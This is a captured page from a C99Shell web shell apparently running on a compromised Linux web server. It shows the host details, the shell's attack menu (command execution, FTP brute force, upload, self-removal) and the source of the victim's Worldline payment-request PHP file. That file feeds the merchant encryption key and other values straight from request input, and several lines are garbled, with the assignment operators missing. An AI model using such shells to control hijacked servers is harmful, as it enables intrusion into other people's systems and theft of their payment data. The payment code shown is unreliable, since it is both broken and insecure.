!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 39.75 GB of 48.28 GB (82.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     meTrnPay.php (2.69 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
/**
     * This Is the Kit File To Be Included For Transaction Request
     */
    
include 'AWLMEAPI.php';
    
    
//create an Object of the above included class
    
$obj = new AWLMEAPI();

    
//create an object of Request Message
    
$reqMsgDTO = new ReqMsgDTO();

    
/* Populate the above DTO Object On the Basis Of The Received Values */
    // PG MID
    
$reqMsgDTO->setMid($_REQUEST['mid']);
    
// Merchant Unique order id
    
$reqMsgDTO->setOrderId($_REQUEST['OrderId']);
    
//Transaction amount in paisa format
     
$amt$_REQUEST['amount']*100;
     
$reqMsgDTO->setTrnAmt($amt);
    
//Transaction remarks
    
$reqMsgDTO->setTrnRemarks("This txn has to be done ");
    
// Merchant transaction type (S/P/R)
    
$reqMsgDTO->setMeTransReqType($_REQUEST['meTransReqType']);
    
// Merchant encryption key
    
$reqMsgDTO->setEnckey($_REQUEST['enckey']);
    
// Merchant transaction currency
    
$reqMsgDTO->setTrnCurrency($_REQUEST['currencyName']);
    
// Recurring period, if merchant transaction type is R
    
$reqMsgDTO->setRecurrPeriod($_REQUEST['recurPeriod']);
    
// Recurring day, if merchant transaction type is R
    
$reqMsgDTO->setRecurrDay($_REQUEST['recurDay']);
    
// No of recurring, if merchant transaction type is R
    
$reqMsgDTO->setNoOfRecurring($_REQUEST['numberRecurring']);
    
// Merchant response URl
    
$reqMsgDTO->setResponseUrl($_REQUEST['responseUrl']);
    
// Optional additional fields for merchant
    
$reqMsgDTO->setAddField1($_REQUEST['addField1']);
    
$reqMsgDTO->setAddField2($_REQUEST['addField2']);
    
$reqMsgDTO->setAddField3($_REQUEST['addField3']);
    
$reqMsgDTO->setAddField4($_REQUEST['addField4']);
    
$reqMsgDTO->setAddField5($_REQUEST['addField5']);
    
$reqMsgDTO->setAddField6($_REQUEST['addField6']);
    
$reqMsgDTO->setAddField7($_REQUEST['addField7']);
    
$reqMsgDTO->setAddField8($_REQUEST['addField8']);
    
    
/* 
     * After Making Request Message Send It To Generate Request 
     * The variable `$urlParameter` contains encrypted request message
     */
     //Generate transaction request message
    
$merchantRequest "";
    
    
$reqMsgDTO $obj->generateTrnReqMsg($reqMsgDTO);
    
    if (
$reqMsgDTO->getStatusDesc() == "Success"){
        
$merchantRequest $reqMsgDTO->getReqMsg();
    }
?>


<form action=" https://ipg.in.worldline.com/doMEPayRequest" method="post" name="txnSubmitFrm">
    
    <h4 align="center">Redirecting To Payment Please Wait..</h4>
    <h4 align="center">Please Do Not Press Back Button OR Refresh Page</h4>
    <input type="hidden" size="200" name="merchantRequest" id="merchantRequest" value="<?php echo $merchantRequest?>"  />
    <input type="hidden" name="MID" id="MID" value="<?php echo $reqMsgDTO->getMid(); ?>"/>
</form>
<script  type="text/javascript">
    //submit the form to the worldline
    document.txnSubmitFrm.submit();
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0099 ]--